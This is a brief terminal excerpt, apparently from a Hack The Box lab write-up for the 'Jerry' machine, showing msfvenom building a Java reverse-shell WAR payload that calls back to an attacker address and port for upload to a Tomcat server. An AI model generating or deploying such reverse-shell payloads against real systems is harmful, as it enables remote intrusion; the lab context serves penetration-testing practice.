msfvenom
┌──(kali㉿kali)-[~/archive/htb/labs/jerry]
└─$ msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.2 LPORT=9999 -f war -o rce.war
payload size: 13317 bytes
final size of war file: 13317 bytes
saved as: rce.war
msfvenom generated Java reverse shell payload for the target Tomcat instance